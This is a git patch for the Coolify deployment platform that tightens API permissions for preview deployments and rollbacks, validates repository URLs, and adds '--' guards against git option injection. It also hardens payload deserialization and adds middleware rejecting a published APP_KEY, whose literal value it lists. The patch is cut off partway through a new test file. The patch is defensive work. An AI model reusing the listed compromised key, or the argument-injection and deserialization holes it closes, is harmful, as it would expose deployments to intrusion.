From c75e7078b7714d1fb5624f00898dff2762b7b66d Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 8 Nov 2026 17:26:34 +0100 Subject: [PATCH] fix(access): restrict preview changes, rollbacks, and repo URL updates - Require the write permission and update policy to open a preview or change its pull request URL, git type, or docker tag via the API; deploy-only tokens can only redeploy an existing preview - Reject rollbacks to commits that are neither a listed rollback image nor a successful production deployment (GetRollbackImages::allows) - Validate git_repository with ValidGitRepositoryUrl when it changes on application update - Add RejectPublishedAppKey global middleware - Show a "still starting" message when the root setup window is pending - Document the new 403 responses and constraints in the OpenAPI spec - Add tests for the new checks --- app/Actions/Application/GetRollbackImages.php | 17 ++++ app/Actions/Fortify/CreateNewUser.php | 4 +- .../Api/ApplicationPreviewsController.php | 21 +++- .../Api/ApplicationsController.php | 13 ++- app/Http/Controllers/Api/DeployController.php | 23 ++++- app/Http/Kernel.php | 2 + app/Http/Middleware/RejectPublishedAppKey.php | 50 ++++++++++ app/Jobs/ApplicationDeploymentJob.php | 2 +- app/Livewire/Project/Application/General.php | 5 +- app/Livewire/Project/Application/Rollback.php | 5 + app/Livewire/Project/Application/Source.php | 4 + app/Mcp/Tools/ManagePreview.php | 2 +- app/Models/Application.php | 10 +- app/Providers/FortifyServiceProvider.php | 1 + app/Rules/ValidGitRepositoryUrl.php | 11 ++- app/Support/RootSetupWindow.php | 17 +++- app/Traits/ListensToTeamChannel.php | 3 +- openapi.json | 9 +- openapi.yaml | 8 +- resources/views/auth/register.blade.php | 10 +- .../ApiApplicationDeploymentActionsTest.php | 78 +++++++++++++++ ...ationGitRepositoryUpdateValidationTest.php | 96 +++++++++++++++++++ tests/Feature/ApplicationPreviewApiTest.php | 65 +++++++++++++ .../DockerImagePreviewDeploymentApiTest.php | 30 ++++++ tests/Feature/GetRollbackImagesTest.php | 9 ++ .../GitHttpsCredentialCommandsTest.php | 2 +- tests/Feature/Mcp/McpApplicationToolsTest.php | 7 +- tests/Feature/PublishedAppKeyTest.php | 64 +++++++++++++ tests/Feature/RootSetupWindowTest.php | 3 + .../Security/CommandInjectionSecurityTest.php | 3 +- tests/Feature/ServerGitSshSetupTest.php | 2 +- tests/Unit/ApplicationGitSecurityTest.php | 2 +- tests/Unit/GitLfsSkipSmudgeTest.php | 6 +- tests/Unit/GiteaSourceCommandsTest.php | 4 +- tests/Unit/ValidGitRepositoryUrlTest.php | 17 ++++ tests/v4/Browser/RegistrationTest.php | 5 +- 36 files changed, 570 insertions(+), 40 deletions(-) create mode 100644 app/Http/Middleware/RejectPublishedAppKey.php create mode 100644 tests/Feature/ApplicationGitRepositoryUpdateValidationTest.php create mode 100644 tests/Feature/PublishedAppKeyTest.php diff --git a/app/Actions/Application/GetRollbackImages.php b/app/Actions/Application/GetRollbackImages.php index f9658a9538..3a5878fdf9 100644 --- a/app/Actions/Application/GetRollbackImages.php +++ b/app/Actions/Application/GetRollbackImages.php @@ -63,6 +63,23 @@ class GetRollbackImages ]; } + /** + * Whether a rollback to the tag is allowed: the tag is a listed rollback image, or the commit of + * a successful production deployment. Any other commit (for example a commit of an unmerged pull + * request) is rejected, because a rollback builds a missing image from source. + */ + public static function allows(Application $application, string $tag): bool + { + $deployed = $application->deployment_queue() + ->where('status', ApplicationDeploymentStatus::FINISHED->value) + ->where('pull_request_id', 0) + ->where('rollback', false) + ->where('commit', $tag) + ->exists(); + + return $deployed || collect(self::run($application)['images'])->contains('tag', $tag); + } + /** * The repositories of the images that the application builds or pulls. A Docker Compose * build names the image of each service `_`, like the Compose parser does. diff --git a/app/Actions/Fortify/CreateNewUser.php b/app/Actions/Fortify/CreateNewUser.php index 730b0b0873..6efd68b632 100644 --- a/app/Actions/Fortify/CreateNewUser.php +++ b/app/Actions/Fortify/CreateNewUser.php @@ -38,7 +38,9 @@ class CreateNewUser implements CreatesNewUsers if (! User::query()->exists() && ! RootSetupWindow::isOpen()) { throw ValidationException::withMessages([ - 'email' => 'The setup window for the root account is closed. Restart Coolify on the server (docker restart coolify) to open it again.', + 'email' => RootSetupWindow::isPending() + ? 'Coolify has not finished starting. Wait a few seconds, then try again.' + : 'The setup window for the root account is closed. Restart Coolify on the server (docker restart coolify) to open it again.', ]); } diff --git a/app/Http/Controllers/Api/ApplicationPreviewsController.php b/app/Http/Controllers/Api/ApplicationPreviewsController.php index a2c8a90d2c..9e37a0e9a1 100644 --- a/app/Http/Controllers/Api/ApplicationPreviewsController.php +++ b/app/Http/Controllers/Api/ApplicationPreviewsController.php @@ -106,7 +106,7 @@ class ApplicationPreviewsController extends Controller #[OA\Post( summary: 'Create Preview Deployment', - description: 'Open a preview deployment for a pull request and queue its deployment. When the preview already exists, it is redeployed. Git based applications need git_type unless they use a GitHub or GitLab App source; Bitbucket also needs commit. Docker Image applications need docker_tag for a new preview.', + description: 'Open a preview deployment for a pull request and queue its deployment. When the preview already exists, it is redeployed. A token with the deploy permission can only redeploy an existing preview without changes; opening a preview or changing its pull request URL, git type, or docker tag also needs the write permission. Git based applications need git_type unless they use a GitHub or GitLab App source; Bitbucket also needs commit. Docker Image applications need docker_tag for a new preview.', path: '/applications/{uuid}/previews', operationId: 'create-preview-deployment-by-application-uuid', security: [['bearerAuth' => []]], @@ -131,6 +131,7 @@ class ApplicationPreviewsController extends Controller new OA\Response(response: 201, description: 'Preview deployment created.', content: new OA\JsonContent(ref: '#/components/schemas/ApplicationPreviewDeployment')), new OA\Response(response: 400, ref: '#/components/responses/400'), new OA\Response(response: 401, ref: '#/components/responses/401'), + new OA\Response(response: 403, description: 'Missing permissions. Opening or changing a preview needs the write permission.'), new OA\Response(response: 404, ref: '#/components/responses/404'), new OA\Response(response: 422, ref: '#/components/responses/422'), new OA\Response(response: 429, description: 'Deployment queue is full.'), @@ -225,13 +226,27 @@ class ApplicationPreviewsController extends Controller ], 422); } + $pullRequestHtmlUrl = $request->input('pull_request_html_url'); + $changesPreview = ! $preview + || ($pullRequestHtmlUrl !== null && $pullRequestHtmlUrl !== $preview->pull_request_html_url) + || ($request->input('git_type') !== null && $request->input('git_type') !== $preview->git_type) + || ($dockerTag !== null && $dockerTag !== $preview->docker_registry_image_tag); + if ($changesPreview) { + if (! $request->user()->tokenCan('write') && ! $request->user()->tokenCan('root')) { + return response()->json([ + 'message' => 'Missing required permissions: write. Opening a preview or changing its pull request URL, git type, or docker tag needs the write permission. The deploy permission only redeploys an existing preview.', + ], 403); + } + $this->authorize('update', $application); + } + $created = ! $preview; if ($created) { $isCompose = $application->build_pack === BuildPackTypes::DOCKERCOMPOSE->value; $preview = ApplicationPreview::create([ 'application_id' => $application->id, 'pull_request_id' => $pullRequestId, - 'pull_request_html_url' => $request->input('pull_request_html_url') ?? '', + 'pull_request_html_url' => $pullRequestHtmlUrl ?? '', 'git_type' => $isDockerImage ? null : $gitType, 'docker_compose_domains' => $isCompose ? $application->docker_compose_domains : null, 'docker_registry_image_tag' => $dockerTag, @@ -241,7 +256,7 @@ class ApplicationPreviewsController extends Controller : $preview->generate_preview_fqdn(); } else { $preview->fill(array_filter([ - 'pull_request_html_url' => $request->input('pull_request_html_url'), + 'pull_request_html_url' => $pullRequestHtmlUrl, 'git_type' => $isDockerImage ? null : $gitType, 'docker_registry_image_tag' => $dockerTag, ], fn (mixed $value): bool => $value !== null)); diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 6b970cfebf..8fd9586e4d 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -3682,6 +3682,10 @@ class ApplicationsController extends Controller 'ports_exposes' => 'nullable|string|regex:/^(\d+)(,\d+)*$/', ]; $validationRules = array_merge(sharedDataApplications($application), $validationRules); + // A change of Gitea source checks the repository against the Gitea instance below. + if ($request->input('git_repository') !== $application->git_repository && ! $request->has('gitea_app_uuid')) { + $validationRules['git_repository'] = ['string', new ValidGitRepositoryUrl(allowRepositoryPath: true)]; + } $validationMessages = [ ...ValidationPatterns::combinedMessages(), 'docker_compose_domains.*.array' => 'An item in the docker_compose_domains array has invalid fields. Only name, domain, and redirect fields are supported.', @@ -6584,7 +6588,7 @@ class ApplicationsController extends Controller content: new OA\JsonContent( required: ['commit'], properties: [ - new OA\Property(property: 'commit', type: 'string', description: 'Image tag / commit to roll back to.'), + new OA\Property(property: 'commit', type: 'string', description: 'Image tag / commit to roll back to. Must be a tag from the rollback images list or the commit of a successful production deployment.'), ] ) ), @@ -6650,6 +6654,13 @@ class ApplicationsController extends Controller ], 422); } + if (! GetRollbackImages::allows($application, $commit)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['commit' => ['The commit is not a rollback image or a successful deployment of this application.']], + ], 422); + } + $deployment_uuid = new_public_id(); $result = queue_application_deployment( application: $application, diff --git a/app/Http/Controllers/Api/DeployController.php b/app/Http/Controllers/Api/DeployController.php index b0f8e67a23..1fbea69088 100644 --- a/app/Http/Controllers/Api/DeployController.php +++ b/app/Http/Controllers/Api/DeployController.php @@ -336,7 +336,7 @@ class DeployController extends Controller new OA\Parameter(name: 'force', in: 'query', description: 'Force rebuild (without cache)', schema: new OA\Schema(type: 'boolean')), new OA\Parameter(name: 'pr', in: 'query', description: 'Pull Request Id for deploying specific PR builds. Cannot be used with tag parameter.', schema: new OA\Schema(type: 'integer', maximum: 2147483647)), new OA\Parameter(name: 'pull_request_id', in: 'query', description: 'Preview deployment identifier. Alias of pr.', schema: new OA\Schema(type: 'integer', maximum: 2147483647)), - new OA\Parameter(name: 'docker_tag', in: 'query', description: 'Docker image tag for Docker Image preview deployments. Requires pull_request_id.', schema: new OA\Schema(type: 'string')), + new OA\Parameter(name: 'docker_tag', in: 'query', description: 'Docker image tag for Docker Image preview deployments. Requires pull_request_id. Opening a preview or changing its tag also needs the write permission.', schema: new OA\Schema(type: 'string')), new OA\Parameter(name: 'cancel_previous', in: 'query', description: 'Cancel the older webhook, API, and MCP deployments of the same application, pull request, and server. `queued` cancels the ones that wait in the queue. `building` also stops the ones that are still building; a deployment that already started to replace containers always finishes. Manual, restart, and rollback deployments are never cancelled. Default: `none`.', schema: new OA\Schema(type: 'string', enum: ['none', 'queued', 'building'], default: 'none')), ], @@ -442,7 +442,14 @@ class DeployController extends Controller continue; } - $preview = $this->upsertDockerImagePreview($resource, $pr, $dockerTag); + $preview = $resource->previews()->where('pull_request_id', $pr)->first(); + $changesPreview = $dockerTag !== null && $dockerTag !== $preview?->docker_registry_image_tag; + if ($changesPreview && ! $this->canChangePreview($resource)) { + $deployments->push(['message' => 'Missing required permissions: write. Opening a preview or changing its docker tag needs the write permission.', 'resource_uuid' => $uuid]); + + continue; + } + $preview = $this->upsertDockerImagePreview($resource, $pr, $dockerTag, $preview); $dockerTagForResource = $preview?->docker_registry_image_tag; } else { $preview = $resource->previews()->where('pull_request_id', $pr)->first(); @@ -619,10 +626,18 @@ class DeployController extends Controller return ['message' => $message, 'deployment_uuid' => $deployment_uuid]; } - private function upsertDockerImagePreview(Application $application, int $pullRequestId, ?string $dockerTag): ?ApplicationPreview + /** + * Opening a preview or changing its docker tag changes what runs, so it needs the write permission and the update policy, as in the UI. + */ + private function canChangePreview(Application $application): bool { - $preview = $application->previews()->where('pull_request_id', $pullRequestId)->first(); + $user = auth()->user(); + return ($user->tokenCan('write') || $user->tokenCan('root')) && $user->can('update', $application); + } + + private function upsertDockerImagePreview(Application $application, int $pullRequestId, ?string $dockerTag, ?ApplicationPreview $preview): ?ApplicationPreview + { if (! $preview && $dockerTag === null) { return null; } diff --git a/app/Http/Kernel.php b/app/Http/Kernel.php index 09156692e6..f006177bf0 100644 --- a/app/Http/Kernel.php +++ b/app/Http/Kernel.php @@ -20,6 +20,7 @@ use App\Http\Middleware\EnsureTokenBelongsToCurrentTeamMember; use App\Http\Middleware\KeepConcurrentTeamSwitch; use App\Http\Middleware\PreventRequestsDuringMaintenance; use App\Http\Middleware\RedirectIfAuthenticated; +use App\Http\Middleware\RejectPublishedAppKey; use App\Http\Middleware\RequirePassword; use App\Http\Middleware\RequireTeamTwoFactor; use App\Http\Middleware\ThrottleFailedApiRequests; @@ -57,6 +58,7 @@ class Kernel extends HttpKernel protected $middleware = [ // Outermost so Server-Timing includes the full middleware + app cost. AddServerTimingHeaders::class, + RejectPublishedAppKey::class, TrustProxies::class, HandleCors::class, ThrottleFailedApiRequests::class, diff --git a/app/Http/Middleware/RejectPublishedAppKey.php b/app/Http/Middleware/RejectPublishedAppKey.php new file mode 100644 index 0000000000..432282fae5 --- /dev/null +++ b/app/Http/Middleware/RejectPublishedAppKey.php @@ -0,0 +1,50 @@ + + */ + public const PUBLISHED_KEYS = [ + // .env.windows-docker-desktop.example (removed in v4.6.0) + 'base64:ssTlCmrIE/q7whnKMvT6DwURikg69COzGsAwFVROm80=', + ]; + + public function handle(Request $request, Closure $next): Response + { + if (! self::usesPublishedKey()) { + return $next($request); + } + + return response( + "Coolify does not start: APP_KEY or APP_PREVIOUS_KEYS contains a key that is public.\n\n". + "1. Generate a new key: openssl rand -base64 32\n". + "2. In .env, set APP_PREVIOUS_KEYS to the old APP_KEY value and APP_KEY=base64:.\n". + "3. Restart Coolify and run: docker exec coolify php artisan app-key:reencrypt --force\n". + "4. Remove APP_PREVIOUS_KEYS from .env and restart Coolify.\n", + 503, + ['Content-Type' => 'text/plain; charset=UTF-8'], + ); + } + + public static function usesPublishedKey(): bool + { + $keys = [config('app.key'), ...(array) config('app.previous_keys', [])]; + + return array_intersect(array_map(fn ($key) => trim((string) $key), $keys), self::PUBLISHED_KEYS) !== []; + } +} diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index cb29a80bd8..8d68902ffa 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -3614,7 +3614,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue $gitConfigOption = $this->application->gitHttpsCredentialConfigOption(); $gitCommand = $gitConfigOption ? "git {$gitConfigOption}" : 'git'; - return 'GIT_SSH_COMMAND="'.$sshCommand.'" '.$gitCommand.' ls-remote '.escapeshellarg($this->fullRepoUrl).' '.escapeshellarg($lsRemoteRef); + return 'GIT_SSH_COMMAND="'.$sshCommand.'" '.$gitCommand.' ls-remote -- '.escapeshellarg($this->fullRepoUrl).' '.escapeshellarg($lsRemoteRef); } private function update_repository_project_id(): void diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index 30689a924e..24d3cbbdfa 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -9,6 +9,7 @@ use App\Livewire\Project\Service\Storage; use App\Livewire\Project\Shared\EnvironmentVariable\All; use App\Models\Application; use App\Rules\ValidGitBranch; +use App\Rules\ValidGitRepositoryUrl; use App\Services\Dns\ManagedDnsRecordCleanup; use App\Services\Dns\ResourceDnsRecords; use App\Support\ValidationPatterns; @@ -168,7 +169,9 @@ class General extends Component ? ['nullable'] : ValidationPatterns::applicationDomainRules(), 'parsedServiceDomains.*.domain' => ValidationPatterns::applicationDomainRules(), - 'gitRepository' => 'required', + 'gitRepository' => isset($this->application) && $this->gitRepository === $this->application->getOriginal('git_repository') + ? ['required'] + : ['required', 'string', new ValidGitRepositoryUrl(allowRepositoryPath: true)], 'gitBranch' => ['required', 'string', new ValidGitBranch], 'gitCommitSha' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], 'installCommand' => $this->changedCommandRules('installCommand', 'install_command'), diff --git a/app/Livewire/Project/Application/Rollback.php b/app/Livewire/Project/Application/Rollback.php index 6e54ac3d38..97911abc00 100644 --- a/app/Livewire/Project/Application/Rollback.php +++ b/app/Livewire/Project/Application/Rollback.php @@ -53,6 +53,11 @@ class Rollback extends Component $this->authorize('deploy', $this->application); $commit = validateGitRef($commit, 'rollback commit'); + if (! GetRollbackImages::allows($this->application, $commit)) { + $this->dispatch('error', 'Rollback did not start.', 'The commit is not a rollback image or a successful deployment of this application.'); + + return; + } $deployment_uuid = new_public_id(); diff --git a/app/Livewire/Project/Application/Source.php b/app/Livewire/Project/Application/Source.php index 6d9d32d966..ffea7a0fcf 100644 --- a/app/Livewire/Project/Application/Source.php +++ b/app/Livewire/Project/Application/Source.php @@ -8,6 +8,7 @@ use App\Models\GithubApp; use App\Models\GitlabApp; use App\Models\PrivateKey; use App\Rules\ValidGitBranch; +use App\Rules\ValidGitRepositoryUrl; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\Gate; use Illuminate\Validation\ValidationException; @@ -102,6 +103,9 @@ class Source extends Component { if ($toModel) { $this->validate(); + if ($this->gitRepository !== $this->application->getOriginal('git_repository')) { + $this->validate(['gitRepository' => ['required', 'string', new ValidGitRepositoryUrl(allowRepositoryPath: true)]]); + } $attributes = [ 'git_repository' => $this->gitRepository, 'git_branch' => $this->gitBranch, diff --git a/app/Mcp/Tools/ManagePreview.php b/app/Mcp/Tools/ManagePreview.php index fc8d501a25..1b7f35f976 100644 --- a/app/Mcp/Tools/ManagePreview.php +++ b/app/Mcp/Tools/ManagePreview.php @@ -11,7 +11,7 @@ class ManagePreview extends RestActionTool { protected string $name = 'manage_preview'; - protected string $description = 'Create (and deploy), update the domains of, or delete a pull request preview deployment of an application of the authenticated team. create requires deploy ability, update requires write, delete requires delete. Same validation and permissions as the REST API.'; + protected string $description = 'Create (and deploy), update the domains of, or delete a pull request preview deployment of an application of the authenticated team. create requires deploy ability to redeploy an existing preview, and also write ability to open a preview or change its pull request URL, git type, or docker tag; update requires write, delete requires delete. Same validation and permissions as the REST API.'; protected function actions(): array { diff --git a/app/Models/Application.php b/app/Models/Application.php index 1aaacf3e7d..17bb7425a5 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -1820,7 +1820,8 @@ class Application extends BaseModel ['repository' => $customRepository, 'port' => $customPort] = $this->customRepository(); $commands = collect([]); $customSshKeyLocation = "/root/.ssh/id_rsa_coolify_{$deployment_uuid}"; - $base_command = 'git ls-remote'; + // `--` ends the options, so a repository value that starts with `-` is not read as a git option. + $base_command = 'git ls-remote --'; if ($this->deploymentType() === 'source') { $source_html_url = data_get($this, 'source.html_url'); @@ -1969,7 +1970,7 @@ class Application extends BaseModel $escapedCustomRepository = escapeshellarg($customRepository); $gitConfigOption = $this->gitHttpsCredentialConfigOption(); if ($gitConfigOption) { - $base_command = "git {$gitConfigOption} ls-remote"; + $base_command = "git {$gitConfigOption} ls-remote --"; } if ($this->gitUsesSsh()) { $sshCommand = gitSshCommand($deployment_uuid, $customPort, '/root/.ssh/id_rsa', identitiesOnly: false); @@ -2163,9 +2164,10 @@ class Application extends BaseModel } } - $git_clone_command = "git clone{$depthFlag}{$submoduleFlags} -b {$escapedBranch}"; + // `--` ends the options, so a repository value that starts with `-` is not read as a git option. + $git_clone_command = "git clone{$depthFlag}{$submoduleFlags} -b {$escapedBranch} --"; if ($only_checkout) { - $git_clone_command = "git clone{$depthFlag}{$submoduleFlags} --no-checkout -b {$escapedBranch}"; + $git_clone_command = "git clone{$depthFlag}{$submoduleFlags} --no-checkout -b {$escapedBranch} --"; } if ($pull_request_id !== 0) { $pr_branch_name = "pr-{$pull_request_id}-coolify"; diff --git a/app/Providers/FortifyServiceProvider.php b/app/Providers/FortifyServiceProvider.php index 8a2e049d97..0dd6ba4e2b 100644 --- a/app/Providers/FortifyServiceProvider.php +++ b/app/Providers/FortifyServiceProvider.php @@ -52,6 +52,7 @@ class FortifyServiceProvider extends ServiceProvider return view('auth.register', [ 'isFirstUser' => $isFirstUser, + 'isRootSetupWindowPending' => $isFirstUser && RootSetupWindow::isPending(), 'isRootSetupWindowClosed' => $isFirstUser && ! RootSetupWindow::isOpen(), ]); }); diff --git a/app/Rules/ValidGitRepositoryUrl.php b/app/Rules/ValidGitRepositoryUrl.php index e30fb8c22b..af8c81e42e 100644 --- a/app/Rules/ValidGitRepositoryUrl.php +++ b/app/Rules/ValidGitRepositoryUrl.php @@ -12,10 +12,16 @@ class ValidGitRepositoryUrl implements ValidationRule protected bool $allowIP; - public function __construct(bool $allowSSH = true, bool $allowIP = true) + protected bool $allowRepositoryPath; + + /** + * @param bool $allowRepositoryPath Also accept a repository path such as `owner/name`, which applications with a Git source store. + */ + public function __construct(bool $allowSSH = true, bool $allowIP = true, bool $allowRepositoryPath = false) { $this->allowSSH = $allowSSH; $this->allowIP = $allowIP; + $this->allowRepositoryPath = $allowRepositoryPath; } /** @@ -195,6 +201,9 @@ class ValidGitRepositoryUrl implements ValidationRule return; } + } elseif ($this->allowRepositoryPath && preg_match('/^[a-zA-Z0-9_][a-zA-Z0-9._-]*(\/[a-zA-Z0-9._-]+)+$/', $value) === 1) { + // A repository path (owner/name, or group/subgroup/name) that the Git source turns into a URL. + return; } else { $fail('The :attribute must start with https://, http://, git://, ssh://, or be an SSH URL (user@host:path).'); diff --git a/app/Support/RootSetupWindow.php b/app/Support/RootSetupWindow.php index f07180176f..728e34092f 100644 --- a/app/Support/RootSetupWindow.php +++ b/app/Support/RootSetupWindow.php @@ -13,19 +13,30 @@ class RootSetupWindow { public const MINUTES = 10; - private const CACHE_KEY = 'root-setup-window'; + private const CACHE_KEY = 'root-setup-window-closes-at'; + /** + * The key has no TTL: app:init clears the cache before it calls this, so a missing key + * means that Coolify has not finished starting, not that the window is closed. + */ public static function openIfNoUserExists(): void { if (User::query()->exists()) { return; } - Cache::put(self::CACHE_KEY, true, now()->addMinutes(self::MINUTES)); + Cache::forever(self::CACHE_KEY, now()->addMinutes(self::MINUTES)->getTimestamp()); } public static function isOpen(): bool { - return Cache::has(self::CACHE_KEY); + $closesAt = Cache::get(self::CACHE_KEY); + + return is_int($closesAt) && now()->getTimestamp() < $closesAt; + } + + public static function isPending(): bool + { + return ! Cache::has(self::CACHE_KEY); } } diff --git a/app/Traits/ListensToTeamChannel.php b/app/Traits/ListensToTeamChannel.php index c3feef8488..d2498102db 100644 --- a/app/Traits/ListensToTeamChannel.php +++ b/app/Traits/ListensToTeamChannel.php @@ -43,7 +43,8 @@ trait ListensToTeamChannel } try { - $payload = decrypt($event['payload']); + // The payload comes from the browser: unserialize it without classes. + $payload = unserialize(decrypt($event['payload'], false), ['allowed_classes' => false]); } catch (DecryptException) { return []; } diff --git a/openapi.json b/openapi.json index a245d22402..eceaa73d0f 100644 --- a/openapi.json +++ b/openapi.json @@ -62,7 +62,7 @@ "Applications" ], "summary": "Create Preview Deployment", - "description": "Open a preview deployment for a pull request and queue its deployment. When the preview already exists, it is redeployed. Git based applications need git_type unless they use a GitHub or GitLab App source; Bitbucket also needs commit. Docker Image applications need docker_tag for a new preview.", + "description": "Open a preview deployment for a pull request and queue its deployment. When the preview already exists, it is redeployed. A token with the deploy permission can only redeploy an existing preview without changes; opening a preview or changing its pull request URL, git type, or docker tag also needs the write permission. Git based applications need git_type unless they use a GitHub or GitLab App source; Bitbucket also needs commit. Docker Image applications need docker_tag for a new preview.", "operationId": "create-preview-deployment-by-application-uuid", "parameters": [ { @@ -167,6 +167,9 @@ "401": { "$ref": "#\/components\/responses\/401" }, + "403": { + "description": "Missing permissions. Opening or changing a preview needs the write permission." + }, "404": { "$ref": "#\/components\/responses\/404" }, @@ -6649,7 +6652,7 @@ ], "properties": { "commit": { - "description": "Image tag \/ commit to roll back to.", + "description": "Image tag \/ commit to roll back to. Must be a tag from the rollback images list or the commit of a successful production deployment.", "type": "string" } }, @@ -11645,7 +11648,7 @@ { "name": "docker_tag", "in": "query", - "description": "Docker image tag for Docker Image preview deployments. Requires pull_request_id.", + "description": "Docker image tag for Docker Image preview deployments. Requires pull_request_id. Opening a preview or changing its tag also needs the write permission.", "schema": { "type": "string" } diff --git a/openapi.yaml b/openapi.yaml index a3952ab540..6113596743 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -42,7 +42,7 @@ paths: tags: - Applications summary: 'Create Preview Deployment' - description: 'Open a preview deployment for a pull request and queue its deployment. When the preview already exists, it is redeployed. Git based applications need git_type unless they use a GitHub or GitLab App source; Bitbucket also needs commit. Docker Image applications need docker_tag for a new preview.' + description: 'Open a preview deployment for a pull request and queue its deployment. When the preview already exists, it is redeployed. A token with the deploy permission can only redeploy an existing preview without changes; opening a preview or changing its pull request URL, git type, or docker tag also needs the write permission. Git based applications need git_type unless they use a GitHub or GitLab App source; Bitbucket also needs commit. Docker Image applications need docker_tag for a new preview.' operationId: create-preview-deployment-by-application-uuid parameters: - @@ -104,6 +104,8 @@ paths: $ref: '#/components/responses/400' '401': $ref: '#/components/responses/401' + '403': + description: 'Missing permissions. Opening or changing a preview needs the write permission.' '404': $ref: '#/components/responses/404' '422': @@ -4369,7 +4371,7 @@ paths: - commit properties: commit: - description: 'Image tag / commit to roll back to.' + description: 'Image tag / commit to roll back to. Must be a tag from the rollback images list or the commit of a successful production deployment.' type: string type: object responses: @@ -7637,7 +7639,7 @@ paths: - name: docker_tag in: query - description: 'Docker image tag for Docker Image preview deployments. Requires pull_request_id.' + description: 'Docker image tag for Docker Image preview deployments. Requires pull_request_id. Opening a preview or changing its tag also needs the write permission.' schema: type: string - diff --git a/resources/views/auth/register.blade.php b/resources/views/auth/register.blade.php index 3e652ff50e..e856db066e 100644 --- a/resources/views/auth/register.blade.php +++ b/resources/views/auth/register.blade.php @@ -14,7 +14,15 @@ $email = getOldOrLocal('email', 'test3@example.com');
- @if ($isRootSetupWindowClosed) + @if ($isRootSetupWindowPending) + +

Coolify is starting

+

Coolify has not finished its start-up tasks. + Wait a few seconds, then reload this page. If this message stays, run this command on the + server:

+ docker restart coolify +
+ @elseif ($isRootSetupWindowClosed)

Setup window closed

You can create the root account only in the diff --git a/tests/Feature/ApiApplicationDeploymentActionsTest.php b/tests/Feature/ApiApplicationDeploymentActionsTest.php index d431b3577d..dff6fa9626 100644 --- a/tests/Feature/ApiApplicationDeploymentActionsTest.php +++ b/tests/Feature/ApiApplicationDeploymentActionsTest.php @@ -1,6 +1,8 @@ not->toContain('$deployment_uuid?->toString()'); } }); + +describe('application rollback API', function () { + beforeEach(function () { + $this->application = makeDeploymentActionApplication($this->environment, $this->destination); + $this->deployedCommit = str_repeat('a', 40); + ApplicationDeploymentQueue::create([ + 'application_id' => $this->application->id, + 'deployment_uuid' => 'deployed-commit', + 'commit' => $this->deployedCommit, + 'status' => ApplicationDeploymentStatus::FINISHED->value, + 'pull_request_id' => 0, + ]); + }); + + test('queues a rollback to the commit of a successful deployment', function () { + $response = $this->withHeaders(deploymentActionHeaders($this->token)) + ->postJson("/api/v1/applications/{$this->application->uuid}/rollback", ['commit' => $this->deployedCommit]); + + $response->assertSuccessful()->assertJsonPath('message', 'Rollback deployment queued.'); + + expect(ApplicationDeploymentQueue::query()->where('deployment_uuid', $response->json('deployment_uuid'))->value('rollback'))->toBeTruthy(); + }); + + test('rejects a commit that the application never deployed to production', function (array $deployment) { + $commit = str_repeat('b', 40); + if ($deployment !== []) { + ApplicationDeploymentQueue::create([ + 'application_id' => $this->application->id, + 'deployment_uuid' => 'other-deployment', + 'commit' => $commit, + 'status' => ApplicationDeploymentStatus::FINISHED->value, + 'pull_request_id' => 0, + ...$deployment, + ]); + } + + $this->withHeaders(deploymentActionHeaders($this->token)) + ->postJson("/api/v1/applications/{$this->application->uuid}/rollback", ['commit' => $commit]) + ->assertUnprocessable() + ->assertJsonValidationErrors('commit'); + + expect(ApplicationDeploymentQueue::query()->where('rollback', true)->where('deployment_uuid', '!=', 'other-deployment')->exists())->toBeFalse(); + })->with([ + 'unknown commit' => [[]], + 'failed deployment' => [['status' => ApplicationDeploymentStatus::FAILED->value]], + 'preview deployment' => [['pull_request_id' => 7]], + 'earlier rollback' => [['rollback' => true]], + ]); + + test('rejects a commit that another application deployed', function () { + $other = makeDeploymentActionApplication($this->environment, $this->destination); + $commit = str_repeat('c', 40); + ApplicationDeploymentQueue::create([ + 'application_id' => $other->id, + 'deployment_uuid' => 'other-application', + 'commit' => $commit, + 'status' => ApplicationDeploymentStatus::FINISHED->value, + 'pull_request_id' => 0, + ]); + + $this->withHeaders(deploymentActionHeaders($this->token)) + ->postJson("/api/v1/applications/{$this->application->uuid}/rollback", ['commit' => $commit]) + ->assertUnprocessable(); + }); + + test('the rollback page rejects a commit that the application never deployed', function () { + $this->actingAs($this->user); + + Livewire::test(Rollback::class, ['application' => $this->application]) + ->call('rollbackImage', str_repeat('b', 40)) + ->assertDispatched('error'); + + expect(ApplicationDeploymentQueue::query()->where('rollback', true)->exists())->toBeFalse(); + }); +}); diff --git a/tests/Feature/ApplicationGitRepositoryUpdateValidationTest.php b/tests/Feature/ApplicationGitRepositoryUpdateValidationTest.php new file mode 100644 index 0000000000..394cabed05 --- /dev/null +++ b/tests/Feature/ApplicationGitRepositoryUpdateValidationTest.php @@ -0,0 +1,96 @@ + InstanceSettings::firstOrCreate(['id' => 0])); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + session(['currentTeam' => $this->team]); + $this->token = $this->user->createToken('git-repository-update-test', ['*'])->plainTextToken; + + $server = Server::factory()->create(['team_id' => $this->team->id]); + $destination = StandaloneDocker::query()->where('server_id', $server->id)->firstOrFail(); + $project = Project::factory()->create(['team_id' => $this->team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + $privateKey = PrivateKey::factory()->create(['team_id' => $this->team->id]); + + $this->application = Application::factory()->create([ + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + 'build_pack' => 'dockerfile', + 'git_repository' => 